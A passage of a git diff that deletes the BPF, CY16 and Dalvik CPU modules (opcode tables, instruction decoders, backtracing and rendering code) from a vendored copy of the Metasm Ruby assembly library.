LICENCE in the top-level directory - - -require 'metasm/cpu/bpf/opcodes' -require 'metasm/decode' - -module Metasm -class BPF - def build_bin_lookaside - opcode_list.inject({}) { |h, op| h.update op.bin => op } - end - - # tries to find the opcode encoded at edata.ptr - def decode_findopcode(edata) - return if edata.ptr > edata.data.length-8 - di = DecodedInstruction.new self - code = edata.data[edata.ptr, 2].unpack('v')[0] - return di if di.opcode = @bin_lookaside[code] - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - di.bin_length = 8 - code, jt, jf, k = edata.read(8).unpack('vCCV') - - op.args.each { |a| - di.instruction.args << case a - when :k; Expression[k] - when :x; Reg.new(:x) - when :a; Reg.new(:a) - when :len; Reg.new(:len) - when :p_k; PktRef.new(nil, Expression[k], op.props[:msz]) - when :p_xk; PktRef.new(Reg.new(:x), Expression[k], op.props[:msz]) - when :m_k; MemRef.new(nil, Expression[4*k], 4) - when :jt; Expression[jt] - when :jf; Expression[jf] - else raise "unhandled arg #{a}" - end - } - - # je a, x, 0, 12 -> jne a, x, 12 - # je a, x, 12, 0 -> je a, x, 12 - if op.args[2] == :jt and di.instruction.args[2] == Expression[0] - di.opcode = op.dup - di.opcode.props.delete :stopexec - di.instruction.opname = { 'jg' => 'jle', 'jge' => 'jl', 'je' => 'jne', 'jtest' => 'jntest' }[di.instruction.opname] - di.instruction.args.delete_at(2) - elsif op.args[3] == :jf and di.instruction.args[3] == Expression[0] - di.opcode = op.dup - di.opcode.props.delete :stopexec - di.instruction.args.delete_at(3) - end - - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] - delta = di.instruction.args[-1].reduce + 1 - arg = Expression[addr, :+, 8*delta].reduce - di.instruction.args[-1] = Expression[arg] - - if di.instruction.args.length == 4 - delta = di.instruction.args[2].reduce + 1 - arg = Expression[addr, :+, 8*delta].reduce - di.instruction.args[2] = Expression[arg] - end - end - - di - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'add'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } - when 'sub'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } - when 'mul'; lambda { |di, a0, a1| { a0 => Expression[a0, :*, a1] } } - when 'div'; lambda { |di, a0, a1| { a0 => Expression[a0, :/, a1] } } - when 'shl'; lambda { |di, a0, a1| { a0 => Expression[a0, :<<, a1] } } - when 'shr'; lambda { |di, a0, a1| { a0 => Expression[a0, :>>, a1] } } - when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } - when 'msh'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xf], :<<, 2] } } - when 'jmp', 'jg', 'jge', 'je', 'jtest', 'ret'; lambda { |di, *a| { } } - end - @backtrace_binding[op] ||= binding if binding - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when PktRef, MemRef, Reg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - {:incomplete_binding => Expression[1]} - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - if di.instruction.args.length == 4 - di.instruction.args[-2, 2] - else - di.instruction.args[-1, 1] - end - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/bpf/main.rb b/lib/metasm/metasm/cpu/bpf/main.rb deleted file mode 100644 index b070065cd7..0000000000 --- a/lib/metasm/metasm/cpu/bpf/main.rb +++ /dev/null @@ -1,60 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class BPF < CPU - class Reg - attr_accessor :v - def initialize(v) - @v = v - end - - def symbolic(orig=nil) ; @v ; end - end - - class MemRef - attr_accessor :base, :offset, :msz - - def memtype - :mem - end - - def initialize(base, offset, msz) - @base = base - @offset = offset - @msz = msz - end - - def symbolic(orig) - p = Expression[memtype] - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p, @msz, orig] - end - end - - class PktRef < MemRef - def memtype - :pkt - end - end - - def initialize(family = :latest) - super() - @endianness = :big - @size = 32 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/bpf/opcodes.rb b/lib/metasm/metasm/cpu/bpf/opcodes.rb deleted file mode 100644 index 35a55eb0b7..0000000000 --- a/lib/metasm/metasm/cpu/bpf/opcodes.rb +++ /dev/null @@ -1,81 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/bpf/main' - -module Metasm - -class BPF - def addop(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @valid_args[a] - o.props.update a if a.kind_of?(::Hash) - } - @opcode_list << o - end - - def addop_ldx(bin, src) - addop 'mov', bin | 0x00, :a, src - addop 'mov', bin | 0x01, :x, src - end - - def addop_ldsz(bin, src) - addop 'mov', bin | 0x00, :a, src, :msz => 4 - addop 'mov', bin | 0x08, :a, src, :msz => 2 - addop 'mov', bin | 0x10, :a, src, :msz => 1 - end - - def addop_alu(name, bin) - addop name, bin | 0x04, :a, :k - addop name, bin | 0x0C, :a, :x - end - - def addop_j(name, bin) - addop name, bin | 0x05 | 0x00, :a, :k, :jt, :jf, :setip => true, :stopexec => true - addop name, bin | 0x05 | 0x08, :a, :x, :jt, :jf, :setip => true, :stopexec => true - end - - def init_bpf - @opcode_list = [] - [:a, :k, :x, :len, :m_k, :p_k, :p_xk, :jt, :jf].each { |a| @valid_args[a] = true } - - # LD/ST - addop_ldx 0x00, :k - addop_ldsz 0x20, :p_k - addop_ldsz 0x40, :p_xk - addop_ldx 0x60, :m_k - addop_ldx 0x80, :len - addop 'msh', 0xB1, :x, :p_k, :msz => 1 - addop 'mov', 0x02, :m_k, :a - addop 'mov', 0x03, :m_k, :x - - # ALU - addop_alu 'add', 0x00 - addop_alu 'sub', 0x10 - addop_alu 'mul', 0x20 - addop_alu 'div', 0x30 - addop_alu 'or', 0x40 - addop_alu 'and', 0x50 - addop_alu 'shl', 0x60 - addop_alu 'shr', 0x70 - addop 'neg', 0x84, :a - - # JMP - addop 'jmp', 0x05, :k, :setip => true, :stopexec => true - addop_j 'je', 0x10 - addop_j 'jg', 0x20 - addop_j 'jge', 0x30 - addop_j 'jtest',0x40 - addop 'ret', 0x06, :k, :stopexec => true - addop 'ret', 0x16, :a, :stopexec => true - - addop 'mov', 0x07, :x, :a - addop 'mov', 0x87, :a, :x - end - - alias init_latest init_bpf -end -end diff --git a/lib/metasm/metasm/cpu/bpf/render.rb b/lib/metasm/metasm/cpu/bpf/render.rb deleted file mode 100644 index 1b4a68a27a..0000000000 --- a/lib/metasm/metasm/cpu/bpf/render.rb +++ /dev/null @@ -1,41 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/bpf/opcodes' -require 'metasm/render' - -module Metasm -class BPF - class Reg - include Renderable - def render ; [@v.to_s] end - end - class MemRef - include Renderable - def render - r = [] - r << memtype - r << [nil, ' byte ', ' word ', nil, ' dword '][@msz] - r << '[' - r << @base if @base - r << '+' if @base and @offset - r << @offset if @offset - r << ']' - end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - i.args.each { |a_| r << a_ << ', ' } - r.pop - end - r - end -end -end diff --git a/lib/metasm/metasm/cpu/cy16.rb b/lib/metasm/metasm/cpu/cy16.rb deleted file mode 100644 index bee7099f2e..0000000000 --- a/lib/metasm/metasm/cpu/cy16.rb +++ /dev/null @@ -1,9 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/cy16/decode' -require 'metasm/cpu/cy16/render' diff --git a/lib/metasm/metasm/cpu/cy16/decode.rb b/lib/metasm/metasm/cpu/cy16/decode.rb deleted file mode 100644 index c3bc9a5812..0000000000 --- a/lib/metasm/metasm/cpu/cy16/decode.rb +++ /dev/null @@ -1,253 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/cy16/opcodes' -require 'metasm/decode' - -module Metasm -class CY16 - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.fields.each { |f, off| - op.bin_mask |= (@fields_mask[f] << off) - } - op.bin_mask ^= 0xffff - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - b = (op.bin >> 8) & 0xff - msk = (op.bin_mask >> 8) & 0xff - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b & msk - end - } - lookaside - end - - def decode_findopcode(edata) - di = DecodedInstruction.new self - return if edata.ptr+2 > edata.length - bin = edata.decode_imm(:u16, @endianness) - edata.ptr -= 2 - return di if di.opcode = @bin_lookaside[(bin >> 8) & 0xff].find { |op| - bin & op.bin_mask == op.bin & op.bin_mask - } - end - - - def decode_instr_op_r(val, edata) - bw = ((val & 0b1000) > 0 ? 1 : 2) - case val & 0b11_0000 - when 0b00_0000 - Reg.new(val) - when 0b01_0000 - if val == 0b01_1111 - Expression[edata.decode_imm(:u16, @endianness)] - else - Memref.new(Reg.new(8+(val&7)), nil, bw) - end - when 0b10_0000 - if val & 7 == 7 - Memref.new(nil, edata.decode_imm(:u16, @endianness), bw) - else - Memref.new(Reg.new(8+(val&7)), nil, bw, true) - end - when 0b11_0000 - Memref.new(Reg.new(8+(val&7)), edata.decode_imm(:u16, @endianness), bw) - end - - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bin = edata.decode_imm(:u16, @endianness) - - field_val = lambda { |f| - if off = op.fields[f] - (bin >> off) & @fields_mask[f] - end - } - - op.args.each { |a| - di.instruction.args << case a - when :rs, :rd; decode_instr_op_r(field_val[a], edata) - when :o7; Expression[2*Expression.make_signed(field_val[a], 7)] - when :x7; Expression[field_val[a]] - when :u3; Expression[field_val[a]+1] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.instruction.args.reverse! - - di.bin_length += edata.ptr - before_ptr - - di - rescue InvalidRD - end - - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.opcode.args.last == :o7 - delta = di.instruction.args.last.reduce - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - mask = 0xffff - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or', 'addi', 'subi' - lambda { |di, a0, a1| - e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, - 'xor' => :^, 'or' => :|, 'addi' => :+, 'subi' => :- }[op] - ret = Expression[a0, e_op, a1] - ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbb' - # optimises eax ^ eax => 0 - # avoid hiding memory accesses (to not hide possible fault) - ret = Expression[ret.reduce] if not a0.kind_of? Indirection - { a0 => ret } - } - when 'cmp', 'test'; lambda { |di, *a| {} } - when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } - when 'call' - lambda { |di, a0| { :sp => Expression[:sp, :-, 2], - Indirection[:sp, 2, di.address] => Expression[di.next_addr] } - } - when 'ret'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } - # TODO callCC, retCC ... - when /^j/; lambda { |di, *a| {} } - end - - # TODO flags ? - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref, Reg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = {} - di.instruction.args.each { |aa| bd[aa.base.symbolic] = Expression[aa.base.symbolic, :+, aa.sz] if aa.kind_of?(Memref) and aa.autoincr } - bd.update binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - end - - # patch a forward binding from the backtrace binding - def fix_fwdemu_binding(di, fbd) - case di.opcode.name - when 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) - end - fbd - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - return [Indirection[:sp, 2, di.address]] if di.opcode.name =~ /^r/ - - case tg = di.instruction.args.first - when Memref; [Expression[tg.symbolic(di)]] - when Reg; [Expression[tg.symbolic(di)]] - when Expression, ::Integer; [Expression[tg]] - else - puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG - [] - end - end - - # checks if expr is a valid return expression matching the :saveip instruction - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, - :snapshot_addr => faddr, :origin => retaddr) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - bt_val[:sp] - end - - b - end - - # returns true if the expression is an address on the stack - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include?(:sp) - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/cy16/main.rb b/lib/metasm/metasm/cpu/cy16/main.rb deleted file mode 100644 index 704bda76c5..0000000000 --- a/lib/metasm/metasm/cpu/cy16/main.rb +++ /dev/null @@ -1,63 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class CY16 < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" } - @i_to_s[15] = 'sp' - @s_to_i = @i_to_s.invert - - attr_accessor :i - def initialize(i) - @i = i - end - - def symbolic(orig=nil) ; to_s.to_sym ; end - - def self.from_str(s) - raise "Bad name #{s.inspect}" if not x = @s_to_i[s] - new(x) - end - end - - class Memref - attr_accessor :base, :offset, :sz, :autoincr - def initialize(base, offset, sz=nil, autoincr=nil) - @base = base - offset = Expression[offset] if offset - @offset = offset - @sz = sz - @autoincr = autoincr - end - - def symbolic(orig) - p = nil - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, @sz, orig] - end - end - - def initialize(family = :latest) - super() - @endianness = :little - @size = 16 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/cy16/opcodes.rb b/lib/metasm/metasm/cpu/cy16/opcodes.rb deleted file mode 100644 index 1fb20e4953..0000000000 --- a/lib/metasm/metasm/cpu/cy16/opcodes.rb +++ /dev/null @@ -1,78 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/cy16/main' - -module Metasm - -class CY16 - def addop(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @fields_mask[a] or @valid_args[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = @fields_shift[a] if @fields_mask[a] - raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] - } - @opcode_list << o - end - - def addop_macrocc(name, bin, *args) - %w[z nz b ae s ns o no a be g ge l le].each_with_index { |cc, i| - dbin = bin - dbin |= i << 8 - addop name + cc, dbin, *args - } - end - - def init_cy16 - @opcode_list = [] - @valid_args.update [:rs, :rd, :o7 - ].inject({}) { |h, v| h.update v => true } - @fields_mask.update :rs => 0x3f, :rd => 0x3f, :o7 => 0x7f, :x7 => 0x7f, :u3 => 7 - @fields_shift.update :rs => 6, :rd => 0, :o7 => 0, :x7 => 0, :u3 => 6 - - addop 'mov', 0<<12, :rs, :rd - addop 'add', 1<<12, :rs, :rd - addop 'adc', 2<<12, :rs, :rd - addop 'addc',2<<12, :rs, :rd - addop 'sub', 3<<12, :rs, :rd - addop 'sbb', 4<<12, :rs, :rd - addop 'subb',4<<12, :rs, :rd - addop 'cmp', 5<<12, :rs, :rd - addop 'and', 6<<12, :rs, :rd - addop 'test',7<<12, :rs, :rd - addop 'or', 8<<12, :rs, :rd - addop 'xor', 9<<12, :rs, :rd - - addop_macrocc 'int', (10<<12), :x7 - addop 'int', (10<<12) | (15<<8), :x7 - addop_macrocc 'c', (10<<12) | (1<<7), :setip, :saveip, :rd - addop 'call',(10<<12) | (15<<8) | (1<<7), :setip, :stopexec, :saveip, :rd - addop_macrocc 'r', (12<<12) | (1<<7) | 0b010111, :setip # must come before absolute jmp - addop 'ret', (12<<12) | (15<<8) | (1<<7) | 0b010111, :setip, :stopexec - addop_macrocc 'j', (12<<12), :setip, :o7 # relative - addop 'jmp', (12<<12) | (15<<8), :setip, :stopexec, :o7 # relative - addop_macrocc 'j', (12<<12) | (1<<7), :setip, :rd # absolute - addop 'jmp', (12<<12) | (15<<8) | (1<<7), :setip, :stopexec, :rd # absolute - - addop 'shr', (13<<12) | (0<<9), :u3, :rd - addop 'shl', (13<<12) | (1<<9), :u3, :rd - addop 'ror', (13<<12) | (2<<9), :u3, :rd - addop 'rol', (13<<12) | (3<<9), :u3, :rd - addop 'addi',(13<<12) | (4<<9), :u3, :rd - addop 'subi',(13<<12) | (5<<9), :u3, :rd - addop 'not', (13<<12) | (7<<9) | (0<<6), :rd - addop 'neg', (13<<12) | (7<<9) | (1<<6), :rd - addop 'cbw', (13<<12) | (7<<9) | (4<<6), :rd - addop 'sti', (13<<12) | (7<<9) | (7<<6) | 0 - addop 'cli', (13<<12) | (7<<9) | (7<<6) | 1 - addop 'stc', (13<<12) | (7<<9) | (7<<6) | 2 - addop 'clc', (13<<12) | (7<<9) | (7<<6) | 3 - end - - alias init_latest init_cy16 -end -end diff --git a/lib/metasm/metasm/cpu/cy16/render.rb b/lib/metasm/metasm/cpu/cy16/render.rb deleted file mode 100644 index 2c2a680435..0000000000 --- a/lib/metasm/metasm/cpu/cy16/render.rb +++ /dev/null @@ -1,41 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/cy16/opcodes' -require 'metasm/render' - -module Metasm -class CY16 - class Reg - include Renderable - def render ; [self.class.i_to_s[@i]] end - end - class Memref - include Renderable - def render - r = [] - r << (@sz == 1 ? 'byte ptr ' : 'word ptr ') - r << '[' - r << @base if @base - r << '++' if @autoincr - r << ' + ' if @base and @offset - r << @offset if @offset - r << ']' - end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - i.args.each { |a_| r << a_ << ', ' } - r.pop - end - r - end -end -end diff --git a/lib/metasm/metasm/cpu/dalvik.rb b/lib/metasm/metasm/cpu/dalvik.rb deleted file mode 100644 index e4c7b4eb61..0000000000 --- a/lib/metasm/metasm/cpu/dalvik.rb +++ /dev/null @@ -1,11 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -class Metasm::Dalvik < Metasm::CPU -end - -require 'metasm/main' -require 'metasm/cpu/dalvik/decode' diff --git a/lib/metasm/metasm/cpu/dalvik/decode.rb b/lib/metasm/metasm/cpu/dalvik/decode.rb deleted file mode 100644 index a52257b797..0000000000 --- a/lib/metasm/metasm/cpu/dalvik/decode.rb +++ /dev/null @@ -1,218 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/dalvik/opcodes' -require 'metasm/decode' - -module Metasm -class Dalvik - def build_bin_lookaside - end - - def decode_findopcode(edata) - return if edata.ptr+2 > edata.length - di = DecodedInstruction.new(self) - di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff] - edata.ptr -= 2 - di - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - - val = [edata.decode_imm(:u16, @endianness)] - - op.args.each { |a| - di.instruction.args << case a - when :i16 - val << edata.decode_imm(:i16, @endianness) - Expression[val.last] - when :u16 - val << edata.decode_imm(:u16, @endianness) - Expression[val.last] - when :r16 - val << edata.decode_imm(:u16, @endianness) - Reg.new(val.last) - when :i16_32hi - val << edata.decode_imm(:i16, @endianness) - Expression[val.last << 16] - when :i16_64hi - val << edata.decode_imm(:i16, @endianness) - Expression[val.last << 48] - when :i32 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:i16, @endianness) - Expression[val[-2] | (val[-1] << 16)] - when :u32 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - Expression[val[-2] | (val[-1] << 16)] - when :u64 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - Expression[val[-4] | (val[-3] << 16) | (val[-2] << 32) | (val[-1] << 48)] - when :ra - Reg.new((val[0] >> 8) & 0xf) - when :rb - Reg.new((val[0] >> 12) & 0xf) - when :ib - Expression[Expression.make_signed((val[0] >> 12) & 0xf, 4)] - when :raa - Reg.new((val[0] >> 8) & 0xff) - when :iaa - Expression[Expression.make_signed((val[0] >> 8) & 0xff, 8)] - when :rbb - val[1] ||= edata.decode_imm(:u16, @endianness) - Reg.new(val[1] & 0xff) - when :ibb - val[1] ||= edata.decode_imm(:u16, @endianness) - Expression[Expression.make_signed(val[1] & 0xff, 8)] - when :rcc - val[1] ||= edata.decode_imm(:u16, @endianness) - Reg.new((val[1] >> 8) & 0xff) - when :icc - val[1] ||= edata.decode_imm(:u16, @endianness) - Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)] - when :rlist4, :rlist5 - cnt = (val[0] >> 12) & 0xf - val << edata.decode_imm(:u16, @endianness) - [cnt, 4].min.times { - di.instruction.args << Reg.new(val[-1] & 0xf) - val[-1] >>= 4 - } - di.instruction.args << Reg.new((val[0] >> 8) & 0xf) if cnt > 4 - next - when :rlist16 - cnt = (val[0] >> 8) & 0xff - val << edata.decode_imm(:u16, @endianness) - cnt.times { |c| - di.instruction.args << Reg.new(val[-1] + c) - } - next - when :m16 - val << edata.decode_imm(:u16, @endianness) - DexMethod.new(@dex, val.last) - when :fld16 - val << edata.decode_imm(:u16, @endianness) - DexField.new(@dex, val.last) - when :typ16 - val << edata.decode_imm(:u16, @endianness) - DexType.new(@dex, val.last) - when :str16 - val << edata.decode_imm(:u16, @endianness) - DexString.new(@dex, val.last) - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length = val.length*2 - - return if edata.ptr > edata.length - - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname =~ /^if|^goto/ - arg = Expression[addr, :+, [di.instruction.args.last, :*, 2]].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - sz = @size/8 - @opcode_list.each { |op| - case op.name - when /invoke/ - @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :-, sz], - Indirection[:callstack, sz] => Expression[di.next_addr] - } } - when /return/ - @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :+, sz] - } } - end - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - - end - - def get_xrefs_x(dasm, di) - if di.opcode.props[:saveip] - m = di.instruction.args.first - if m.kind_of?(DexMethod) and m.off - [m.off] - else - [:default] - end - elsif di.opcode.props[:setip] - if di.opcode.name =~ /^return/ - [Indirection[:callstack, @size/8]] - elsif di.opcode.name =~ /^if|^goto/ - [di.instruction.args.last] - else - [] # [di.instruction.args.last] - end - else - [] - end - end - - # returns a DecodedFunction suitable for :default - # uses disassembler_default_bt{for/bind}_callback - def disassembler_default_func - df = DecodedFunction.new - ra = Indirection[:callstack, @size/8] - df.backtracked_for << BacktraceTrace.new(ra, :default, ra, :x, nil) - df.backtrace_binding[:callstack] = Expression[:callstack, :+, @size/8] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - - df - end - - def backtrace_is_function_return(expr, di=nil) - expr and Expression[expr] == Expression[Indirection[:callstack, @size/8]] - end -end -end diff --git a/lib/metasm/metasm/cpu/dalvik/main.rb b/lib/metasm/metasm/cpu/dalvik/main.rb deleted file mode 100644 index 264192cfb4..0000000000 --- a/lib/metasm/metasm/cpu/dalvik/main.rb +++ /dev/null @@ -1,109 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class Dalvik < CPU - class Reg - attr_accessor :i - def initialize(i) - @i = i - end - - def symbolic - "r#@i".to_sym - end - - def to_s - "r#@i" - end - end - - class DexMethod - attr_accessor :dex, :midx, :off - def initialize(dex, midx) - @dex = dex - @midx = midx - if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and - me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.methodid == midx } - # FIXME this doesnt work - @off = me.codeoff + me.code.insns_off - end - end - - def to_s - if @dex and m = @dex.methods[@midx] - @dex.types[m.classidx] + '->' + @dex.strings[m.nameidx] - #dex.encoded.inv_export[@off] - else - "method_#@midx" - end - end - end - - class DexField - attr_accessor :dex, :fidx - def initialize(dex, fidx) - @dex = dex - @fidx = fidx - end - - def to_s - if @dex and f = @dex.fields[@fidx] - @dex.types[f.classidx] + '->' + @dex.strings[f.nameidx] - else - "field_#@fidx" - end - end - end - - class DexType - attr_accessor :dex, :tidx - def initialize(dex, tidx) - @dex = dex - @tidx = tidx - end - - def to_s - if @dex and f = @dex.types[@tidx] - f - else - "type_#@tidx" - end - end - end - - class DexString - attr_accessor :dex, :sidx - def initialize(dex, sidx) - @dex = dex - @sidx = sidx - end - - def to_s - if @dex and f = @dex.strings[@sidx] - f.inspect - else - "string_#@sidx" - end - end - end - - def initialize(*args) - super() - @size = args.grep(Integer).first || 32 - @dex = args.grep(ExeFormat).first - @endianness = args.delete(:little) || args.delete(:big) || (@dex ? @dex.endianness : :little) - end - - def init_opcode_list - init_latest - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/dalvik/opcodes.rb b/lib/metasm/metasm/cpu/dalvik/opcodes.rb deleted file mode 100644 index bef8d243bd..0000000000 --- a/lib/metasm/metasm/cpu/dalvik/opcodes.rb 